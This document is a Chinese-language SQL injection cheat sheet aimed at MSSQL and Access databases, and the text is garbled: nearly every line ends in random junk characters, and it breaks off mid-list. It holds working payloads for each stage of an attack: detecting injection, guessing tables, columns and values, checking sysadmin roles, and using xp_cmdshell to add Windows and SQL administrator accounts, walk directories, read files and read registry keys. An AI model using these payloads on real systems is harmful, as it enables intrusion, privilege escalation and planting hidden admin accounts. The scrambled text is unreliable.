1.判断是否有注入;and 1=1 ;and 1=2 QvH=<$
2.初步判断是否是mssql ;and user>0 #;6YADk2_
n`krK"Ii
3.注入参数是字符'and [查询条件] and ''=' d&QB?yLd
D"m]`H
4.搜索时没过滤参数的'and [查询条件] and '%25'=' Wo@0yF@
o'Byuct
5.判断数据库系统 UmSy p\i
dk9'C
;and (select count(*) from sysobjects)>0 mssql }Q?,O
W7lR54%|
;and (select count(*) from msysobjects)>0 access /MB3w m
y pv~F
OFTyN^([@
2n]Br
6.猜数据库 ;and (select Count(*) from [数据库名])>0 dtw4cG
rn7eY
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 {]/}3t
%(,Kj
~0
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 i5sNCt
<T[wZ[l
9.(1)猜字段的ascii值(access) [kIiKLX
ZzNp#FrX"
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 Uv~r]P)
Y9)uy 8c
(2)猜字段的ascii值(mssql) Quy&CV{@
E
{$Jk]c
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 90oG+T4
]CD
10.测试权限结构(mssql) 'Tni;
m?]XNgT
b Z0mK$B
p^~AbU'6~
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- F/FUKXxx
0HA`
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- YQWGv,47\
6\7bE$K
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- \YE(E04w57
B 3Y,|*
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- ;N4A9/)
Wp"+\{@)
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- x78`dX
*UVo>;
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- B zmmE2~*
A{Jp>15AVg
;and 1=(select IS_MEMBER('db_owner'));-- Tji G!W8
cRm+?/
$[L~X
M
'%.:97
11.添加mssql和系统的帐户 K!c "g,S
|'B-^? ;
;exec master.dbo.sp_addlogin username;-- ToWiXH)4
;exec master.dbo.sp_password null,username,password;-- }&+b\RE
uOzol~TU)
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- {k4)f ad\
/a}F;^
;exec master.dbo.xp_cmdshell 'net user username password j\kT
H
04`2MNfxG
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- +{(f@,&~{
(7l'e=J0
;exec master.dbo.xp_cmdshell 'net user username password /add';-- ]W^F!p~eC
N?Byp&rqI<
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- 4PtRTb0<i3
tI42]:z
-?_#Yttu
W rB:)Q(8=
12.(1)遍历目录 iI|mFc|V
{t<E*5N]a
;create table dirs(paths varchar(100), id int) M3m!u[6|
!6Sr*a*5
;insert dirs exec master.dbo.xp_dirtree 'c:\' #aX+?z\4
)k)HQcfjD
;and (select top 1 paths from dirs)>0 w;@NYMK)
#NU@7Q[4
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) P%VEJ5,]b
z l?Gd4
hk6(y?#
6#[
(2)遍历目录 ]S@zhQ
! =(OvX_<
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- &PQhJ#YG
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 CD}::7$
6_Ps*Ed
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 BC: d@
7s8-Uwl<
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 w ]8+
OP
oT76)O
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 {zd07!9y
O+iNR9O
b 6kDkE
s7(NFX5
13.mssql中的存储过程 ~quof>
'q3<R%^Q
xp_regenumvalues 注册表根键, 子键 \9
,a"g
!3O8B0K)v
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 Db:^Omwo
kq| r6uE
xp_regread 根键,子键,键值名 +2:\oy}!8
ltQo_k
;exec xp_regread i}u,_
}
Dj?84y
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 l k~VvRq
Pz\4#E]
xp_regwrite 根键,子键, 值名, 值类型, 值 (G1KMy
W&g